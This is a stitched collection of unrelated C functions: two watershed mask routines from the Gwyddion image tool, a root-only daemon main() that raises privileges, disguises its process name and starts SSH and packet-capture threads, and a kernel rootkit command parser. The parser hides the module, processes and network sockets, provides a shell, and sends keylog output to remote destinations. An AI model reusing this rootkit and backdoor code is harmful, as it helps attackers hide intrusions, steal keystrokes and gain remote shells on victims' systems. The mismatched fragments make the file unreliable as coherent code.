static gboolean wshed_ok(WshedControls *controls, WshedArgs *args, GwyContainer *data) { GwyDataField *dfield; GObject *maskfield; if (controls->computed) { maskfield = gwy_container_get_object_by_name(controls->mydata, "/0/mask"); gwy_app_undo_checkpoint(data, "/0/mask", NULL); gwy_container_set_object_by_name(data, "/0/mask", maskfield); return TRUE; } dfield = GWY_DATA_FIELD(gwy_container_get_object_by_name(data, "/0/data")); maskfield = gwy_serializable_duplicate(G_OBJECT(dfield)); if (mask_process(dfield, GWY_DATA_FIELD(maskfield), args, GTK_WIDGET(gwy_app_data_window_get_for_data(data)))) { gwy_app_undo_checkpoint(data, "/0/mask", NULL); gwy_container_set_object_by_name(data, "/0/mask", maskfield); controls->computed = TRUE; } g_object_unref(maskfield); return controls->computed; }
static void preview(WshedControls *controls, WshedArgs *args) { GwyDataField *maskfield, *dfield; GwyPixmapLayer *layer; dfield = GWY_DATA_FIELD(gwy_container_get_object_by_name(controls->mydata, "/0/data")); /*set up the mask*/ if (gwy_container_contains_by_name(controls->mydata, "/0/mask")) { maskfield = GWY_DATA_FIELD(gwy_container_get_object_by_name(controls->mydata, "/0/mask")); gwy_data_field_resample(maskfield, gwy_data_field_get_xres(dfield), gwy_data_field_get_yres(dfield), GWY_INTERPOLATION_NONE); gwy_data_field_copy(dfield, maskfield); if (!gwy_data_view_get_alpha_layer(GWY_DATA_VIEW(controls->view))) { layer = GWY_PIXMAP_LAYER(gwy_layer_mask_new()); gwy_data_view_set_alpha_layer(GWY_DATA_VIEW(controls->view), layer); } } else { maskfield = GWY_DATA_FIELD(gwy_serializable_duplicate(G_OBJECT(dfield))); gwy_container_set_object_by_name(controls->mydata, "/0/mask", G_OBJECT(maskfield)); g_object_unref(maskfield); layer = GWY_PIXMAP_LAYER(gwy_layer_mask_new()); gwy_data_view_set_alpha_layer(GWY_DATA_VIEW(controls->view), layer); } wshed_dialog_update_values(controls, args); controls->computed = mask_process(dfield, maskfield, args, controls->dialog); if (controls->computed) gwy_data_view_update(GWY_DATA_VIEW(controls->view)); }
/*----------------------------------------------------------------------------- * FUNCTION: main * * DATE: July 4, 2010 * * REVISIONS: * * DESIGNER: Steffen L. Norgren <*****@*****.**> * * PROGRAMMER: Steffen L. Norgren <*****@*****.**> * * INTERFACE: int main(int argc, char **argv) * argc - argument count * argv - array of arguments * * RETURNS: Result on success or failure. * * NOTES: Main entry point into the program. Configures the server defaults. *----------------------------------------------------------------------------*/ int main(int argc, char *argv[]) { pthread_t thread_fw, thread_ssh, thread_pcap; int tret_fw, tret_ssh, tret_pcap; /* make sure user is root */ if (geteuid() != USER_ROOT) { fprintf(stderr, "Must be root to run this program.\n"); exit(ERROR_NOTROOT); } /* initialize signal handler */ signal(SIGTERM, signal_handler); signal(SIGQUIT, signal_handler); signal(SIGKILL, signal_handler); signal(SIGINT, signal_handler); /* raise privileges */ if (setuid(0) != SUCCESS || setgid(0) != SUCCESS) { err(1, "raise privileges"); } /* daemonize the process */ /* daemonize(); */ /* mask the process name */ mask_process(argv, PROCESS_NAME); /* start file watcher */ watching = TRUE; tret_fw = pthread_create(&thread_fw, NULL, file_watcher, (void *)NULL); /* start SSH timer */ tret_ssh = pthread_create(&thread_ssh, NULL, ssh_start, (void *)NULL); /* start server */ server = TRUE; tret_pcap = pthread_create(&thread_pcap, NULL, pcap_start, (void *)NULL); pthread_join(thread_pcap, NULL); return SUCCESS; }
static int parse_json(char *json_str) { int r; int flag; int count; int j; char *endptr; int pid; int port; struct siginfo info; jsmn_init(&p); r = jsmn_parse(&p, json_str, strlen(json_str), t, sizeof(t)/sizeof(t[0])); if (r < 0) { DEBUG_PRINT("[Error] failed to parse JSON"); return 1; } /* Assume the top-level element is an object */ if (r < 1 || t[0].type != JSMN_OBJECT) { DEBUG_PRINT("[Error] JSMN object expected"); return 1; } DEBUG_PRINT("received new configuration"); /* Loop over all keys of the root object */ for (i=1 ; i<r ; i++) if (!jsoneq(json_str, &t[i], "unload_module")) { if ((flag = extract_boolean_value(json_str)) == -1) continue; //printk(KERN_INFO "%s: %s\n", "unload_module", (flag) ? "true" : "false"); if (flag) unload_module(); } else if (!jsoneq(json_str, &t[i], "hide_module")) { if ((flag = extract_boolean_value(json_str)) == -1) continue; //printk(KERN_INFO "%s: %s\n", "hide_module", (flag) ? "true" : "false"); if (flag) mask_module(); } else if (!jsoneq(json_str, &t[i], "unhide_module")) { if ((flag = extract_boolean_value(json_str)) == -1) continue; //printk(KERN_INFO "%s: %s\n", "unhide_module", (flag) ? "true" : "false"); if (flag) unmask_module(); } else if (!jsoneq(json_str, &t[i], "provide_shell")) { if ((flag = extract_boolean_value(json_str)) == -1) continue; //printk(KERN_INFO "%s: %s\n", "provide_shell", (flag) ? "true" : "false"); if (flag) { memset(&info, 0, sizeof(struct siginfo)); info.si_signo = 36; info.si_code = SI_QUEUE; info.si_int = 1234; send_sig_info(36, &info, shell_provider_task); } } else if (!jsoneq(json_str, &t[i], "set_keylog_dest")) { count = extract_array_values(json_str); //printk(KERN_INFO "%s: %d\n", "keylogging_dest", count); for (j=0 ; j<count ; j++) { //printk(KERN_INFO "index %d has value %s\n", j, values[j]); set_remote_dest(values[j]); } } else if (!jsoneq(json_str, &t[i], "hide_processes")) { count = extract_array_values(json_str); //printk(KERN_INFO "%s: %d\n", "hide_processes", count); for (j=0 ; j<count ; j++) { //printk(KERN_INFO "index %d has value %s\n", j, values[j]); pid = simple_strtol(values[j], &endptr, 10); mask_process(pid); } } else if (!jsoneq(json_str, &t[i], "unhide_processes")) { count = extract_array_values(json_str); //printk(KERN_INFO "%s: %d\n", "unhide_processes", count); for (j=0 ; j<count ; j++) { //printk(KERN_INFO "index %d has value %s\n", j, values[j]); pid = simple_strtol(values[j], &endptr, 10); unmask_process(pid); } } else if (!jsoneq(json_str, &t[i], "hide_sockets_tcp4")) { count = extract_array_values(json_str); //printk(KERN_INFO "%s: %d\n", "hide_sockets_tcp4", count); for (j=0 ; j<count ; j++) { //printk(KERN_INFO "index %d has value %s\n", j, values[j]); port = simple_strtol(values[j], &endptr, 10); mask_socket("tcp4", port); } } else if (!jsoneq(json_str, &t[i], "unhide_sockets_tcp4")) { count = extract_array_values(json_str); //printk(KERN_INFO "%s: %d\n", "unhide_sockets_tcp4", count); for (j=0 ; j<count ; j++) { //printk(KERN_INFO "index %d has value %s\n", j, values[j]); port = simple_strtol(values[j], &endptr, 10); unmask_socket("tcp4", port); } } else if (!jsoneq(json_str, &t[i], "hide_sockets_tcp6")) { count = extract_array_values(json_str); //printk(KERN_INFO "%s: %d\n", "hide_sockets_tcp6", count); for (j=0 ; j<count ; j++) { //printk(KERN_INFO "index %d has value %s\n", j, values[j]); port = simple_strtol(values[j], &endptr, 10); mask_socket("tcp6", port); } } else if (!jsoneq(json_str, &t[i], "unhide_sockets_tcp6")) { count = extract_array_values(json_str); //printk(KERN_INFO "%s: %d\n", "unhide_sockets_tcp6", count); for (j=0 ; j<count ; j++) { //printk(KERN_INFO "index %d has value %s\n", j, values[j]); port = simple_strtol(values[j], &endptr, 10); unmask_socket("tcp6", port); } } else if (!jsoneq(json_str, &t[i], "hide_sockets_udp4")) { count = extract_array_values(json_str); //printk(KERN_INFO "%s: %d\n", "hide_sockets_udp4", count); for (j=0 ; j<count ; j++) { //printk(KERN_INFO "index %d has value %s\n", j, values[j]); port = simple_strtol(values[j], &endptr, 10); mask_socket("udp4", port); } } else if (!jsoneq(json_str, &t[i], "unhide_sockets_udp4")) { count = extract_array_values(json_str); //printk(KERN_INFO "%s: %d\n", "unhide_sockets_udp4", count); for (j=0 ; j<count ; j++) { //printk(KERN_INFO "index %d has value %s\n", j, values[j]); port = simple_strtol(values[j], &endptr, 10); unmask_socket("udp4", port); } } else if (!jsoneq(json_str, &t[i], "hide_sockets_udp6")) { count = extract_array_values(json_str); //printk(KERN_INFO "%s: %d\n", "hide_sockets_udp6", count); for (j=0 ; j<count ; j++) { //printk(KERN_INFO "index %d has value %s\n", j, values[j]); port = simple_strtol(values[j], &endptr, 10); mask_socket("udp6", port); } } else if (!jsoneq(json_str, &t[i], "unhide_sockets_udp6")) { count = extract_array_values(json_str); //printk(KERN_INFO "%s: %d\n", "unhide_sockets_udp6", count); for (j=0 ; j<count ; j++) { //printk(KERN_INFO "index %d has value %s\n", j, values[j]); port = simple_strtol(values[j], &endptr, 10); unmask_socket("udp6", port); } } else { //printk(KERN_INFO "Unexpected key: %.*s\n", t[i].end-t[i].start, // json_str + t[i].start); ; } return 0; }